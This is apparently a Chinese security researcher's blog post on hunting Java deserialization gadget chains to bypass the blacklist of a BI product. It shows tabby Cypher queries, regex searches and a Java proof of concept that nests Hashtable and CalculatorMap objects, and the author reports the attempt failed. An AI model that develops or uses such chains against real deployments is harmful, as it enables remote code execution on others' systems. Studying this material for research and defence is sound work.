某bi V 6.0.19 尝试绕过黑名单

Cypher语法

本次使用tabby来分析相关利用链子,会用到Cypher的相关语句,
如以下语句是查询readobject被谁调用,深度为5,查询20条链,

match (source:Method {NAME:"readObject"})
match (sink:Method {NAME:"put", CLASSNAME:"java.util.Hashtable"})<-[:CALL]-(m1:Method)
call apoc.algo.allSimplePaths(source, m1, "ALIAS>|CALL>", 5) yield path
return * limit 20

通过寻找equals函数到toString函数的链子,其中source点可序列化

match (source:Method)<-[:HAS]-(c:Class)-[:INTERFACE|EXTENDS*]->(c1:Class {NAME:"java.io.Serializable"})
where source.NAME in ["equals"]
and source.CLASSNAME in ["com.fr.esd.query.DSQueryEntity"]
match (sink:Method {NAME:"toString"})<-[:CALL]-(m1:Method)
call apoc.algo.allSimplePaths(source, m1, "ALIAS>|CALL>", 2) yield path
return * limit 2

可设置多个source点,然后定义最终的sink点,

match (source:Method) where source.NAME in ["equals","hashCode","compareTo"] 
match (sink:Method {NAME:"toString"})<-[:CALL]-(m1:Method)
call apoc.algo.allSimplePaths(source, m1, "ALIAS>|CALL>", 5) yield path
return * limit 1

分析

在分析过程中,可以根据以下草稿,这里可以利用正则去匹配,不过费时费力,因此可以去使用tabby来分析,

入口hashmap,hashtable
hashcode()   equals(key)    tostring()  m.get(key) readobject()

最终调用到tostring

正则表达式:    hashcode\(((?!public)[\s\S]){1,1000}[.]toString
 readobject\(((?!public)[\s\S]){1,1000}[.](toString|put|compareto|getValue|getkey)

hashcode+tostring   
readobject+tostring   
get+tostring    
equals+tostring    

readobject->put

readobject->put
    StringComparator
TreeMap.put->compare->compareto+tostring

TreeMap.put->compare->compareto->getValue+tostring

TreeMap.put->compare->compareto->getkey+tostring


 (readobject|hashcode|equals)\(((?!public)[\s\S]){1,1000}[.]put\(
第二希望在equals找到put
第一希望hashcode->getValue->tostring

查找equals->...->toString,

match (source:Method)<-[:HAS]-(c:Class)-[:INTERFACE|EXTENDS*]->(c1:Class {NAME:"java.io.Serializable"})
where source.NAME in ["equals"] 
match (sink:Method {NAME:"toString", CLASSNAME:"java.lang.Object"})<-[:CALL]-(m1:Method)
call apoc.algo.allSimplePaths(source, m1, "ALIAS>|CALL>", 7) yield path
where none(n in nodes(path) where n.CLASSNAME in ["com.fr.esd.query.DSQueryEntity", "com.fr.base.PaperSize", "java.util.EnumMap", "java.time.temporal.WeekFields", "sun.security.util.DerValue", "sun.security.x509.AlgorithmId", "java.util.concurrent.ConcurrentHashMap", "java.util.Hashtable", "com.fr.file.CacheManager$DBKey4Procedure", "com.fr.third.jgroups.stack.RouterStubManager$Target", "javax.security.auth.Subject", "java.lang.String", "sun.security.x509.CertificateExtensions", "com.fr.retry.Predicates$IsEqualToPredicate", "java.text.AttributedCharacterIterator$Attribute", "sun.security.x509.CRLExtensions", "java.util.AbstractMap", "com.fr.plugin.basic.CloseableUtils", "com.fr.data.dao.ClassArrayKey$KEY", "com.fr.base.headerfooter.TextHFElement", "com.fr.stable.version.ProductVersion", "com.fr.cluster.engine.member.persistence.FineClusterNode", "java.util.jar.Attributes$Name", "java.lang.reflect.WeakCache$CacheValue", "java.lang.reflect.WeakCache$LookupValue", "sun.security.x509.OtherName"])
return * limit 20

查找hashCode->...->toString,

match (source:Method)<-[:HAS]-(c:Class)-[:INTERFACE|EXTENDS*]->(c1:Class {NAME:"java.io.Serializable"})
where source.NAME in ["hashCode"] 
match (sink:Method {NAME:"toString", CLASSNAME:"java.lang.Object"})<-[:CALL]-(m1:Method)
call apoc.algo.allSimplePaths(source, m1, "ALIAS>|CALL>", 5) yield path
where none(n in nodes(path) where n.CLASSNAME in ["com.fr.esd.query.DSQueryEntity", "java.util.concurrent.ConcurrentHashMap$KeySetView", "sun.security.util.DerValue"])
return * limit 20

查找get->...->toString,

match (source:Method)<-[:HAS]-(c:Class)-[:INTERFACE|EXTENDS*]->(c1:Class {NAME:"java.io.Serializable"})
where source.NAME in ["get"] 
match (sink:Method {NAME:"toString", CLASSNAME:"java.lang.Object"})<-[:CALL]-(m1:Method)
call apoc.algo.allSimplePaths(source, m1, "ALIAS>|CALL>", 5) yield path
where none(n in nodes(path) where n.CLASSNAME in ["java.time.LocalDate", "com.fr.esd.query.DSQueryEntity", "java.time.temporal.TemporalAccessor"])
return * limit 20

查找readobject->...->toString,

match (source:Method)<-[:HAS]-(c:Class)-[:INTERFACE|EXTENDS*]->(c1:Class {NAME:"java.io.Serializable"})
where source.NAME in ["readObject"] 
match (sink:Method {NAME:"toString", CLASSNAME:"java.lang.Object"})<-[:CALL]-(m1:Method)
call apoc.algo.allSimplePaths(source, m1, "ALIAS>|CALL>", 6) yield path
where none(n in nodes(path) where n.CLASSNAME in ["com.fr.esd.query.DSQueryEntity", "java.security.Provider", "java.security.PermissionsHash", "java.security.Permissions", "java.util.PropertyPermissionCollection", "java.security.BasicPermissionCollection", "java.util.EnumMap", "java.io.FilePermissionCollection", "sun.security.util.DerValue", "java.util.concurrent.ConcurrentHashMap", "java.util.Locale", "com.fr.base.headerfooter.ImageHFElement", "java.lang.StringBuilder", "java.text.DecimalFormatSymbols", "com.fr.swift.adaptor.log.SqlConverter$8", "java.util.Hashtable"])
return * limit 20

以上的limit 20为深度,可从1开始调节,逐渐去排除利用链中不相关的节点,

因此尝试利用tabby来绕某系统的黑名单,最主要是找到一条能触发到toString的链子,
利用tabby查询到中间的这条链子,上面的get肯定是行不通的,

因此调试以下链能走到hashtable.equals,

package org.example;
import com.fr.base.PaperSize;
import com.fr.base.Parameter;
import com.fr.chart.chartdata.JSONTableData;
import com.fr.esd.query.DSQueryEntity;
import com.fr.json.revise.EncodeException;
import com.fr.script.CalculatorMap;
import com.fr.serialization.JDKSerializer;
import com.fr.third.alibaba.druid.pool.DruidAbstractDataSource;
import com.fr.third.alibaba.druid.pool.DruidDataSource;
import com.fr.third.alibaba.druid.pool.xa.DruidXADataSource;
import com.fasterxml.jackson.databind.node.POJONode;
import com.fr.third.fasterxml.jackson.databind.ObjectMapper;
import com.fr.third.fasterxml.jackson.databind.SerializationFeature;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.*;
import oracle.jdbc.rowset.OracleCachedRowSet;
import org.apache.arrow.vector.util.JsonStringArrayList;
import org.apache.commons.collections4.FunctorException;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.swing.UIDefaults;

import javax.management.BadAttributeValueExpException;
import com.fr.json.JSONArray;
import org.jcodings.util.Hash;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.sql.SQLException;
import java.util.*;
import java.util.zip.GZIPInputStream;
import java.util.zip.GZIPOutputStream;

public class Main {

    public static void main(String[] args) throws NotSerializableException, EncodeException, IllegalAccessException, NoSuchFieldException, NotFoundException, CannotCompileException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, SQLException {


        HashMap hashmap_c_1 = new HashMap();
        hashmap_c_1.put("8", "8");
        HashMap hashmap_c_2 = new HashMap();
        hashmap_c_2.put("8", "8");
        CalculatorMap  calculatorMap_1 = CalculatorMap.create(hashmap_c_1);
        CalculatorMap  calculatorMap_2 = CalculatorMap.create(hashmap_c_2);


        Hashtable<Object,Object> hashtable_a = new Hashtable<>();
        Hashtable<Object,Object> hashtable_b = new Hashtable<>();
        hashtable_a.put(calculatorMap_1, 3);
        hashtable_b.put(calculatorMap_2, 3);

        HashMap hashmap_1 = new HashMap();
        HashMap hashmap_2 = new HashMap();
        hashmap_1.put(hashtable_a, hashtable_a);
        hashmap_2.put(hashtable_b, hashtable_b);

/*
        HashMap hashmap = new HashMap<>();
        hashmap.put(calculatorMap_1, 3);
        hashmap.put(calculatorMap_2, 3);
 */

        Hashtable<Object,Object> hashtable = new Hashtable<>();
        hashtable.put(hashmap_1, 3);
        hashtable.put(hashmap_2, 3);



        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(hashtable);
        byte[] bytes = byteArrayOutputStream.toByteArray();
        System.out.println(Arrays.toString(byteArrayOutputStream.toByteArray()));

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();


    }
}

不过因为m.get(key)这里的返回值一直为null,没调式出来,
通过触发hashtable的equals函数,

尝试控制传入equals函数的参数,如果能控制,则能走到t.containskey(key),

最终走到CalculatorMap的toString函数,

栈堆如下,

总结:结果是失败的,不过对Cypher的相关语法更加了解了,也对tabby有了了解,后面更加熟练利用相关审计工具